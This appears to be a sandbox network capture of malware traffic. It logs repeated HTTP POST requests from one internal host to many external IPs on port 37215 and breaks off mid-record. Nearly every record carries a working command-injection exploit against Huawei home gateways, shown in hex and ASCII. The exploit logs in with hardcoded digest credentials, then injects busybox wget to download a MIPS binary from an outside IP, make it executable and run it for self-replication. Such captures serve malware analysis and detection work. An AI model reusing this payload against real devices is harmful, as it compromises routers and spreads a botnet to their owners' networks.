Jul 20, 2024 23:10:39.434123993 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.15	40972	49.55.180.63	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.434123993 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.15	51100	197.12.49.40	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.434123993 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.15	45984	197.197.182.48	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.434123993 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.15	53362	9.118.192.30	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.434123993 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.15	57580	153.137.241.70	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.434123993 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.15	45790	41.106.243.14	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.434123993 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.15	37000	197.115.200.222	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.434365988 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.15	47674	13.252.226.77	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.434365988 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.15	55304	157.178.175.186	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.434365988 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.15	47084	41.218.65.16	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.434365988 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 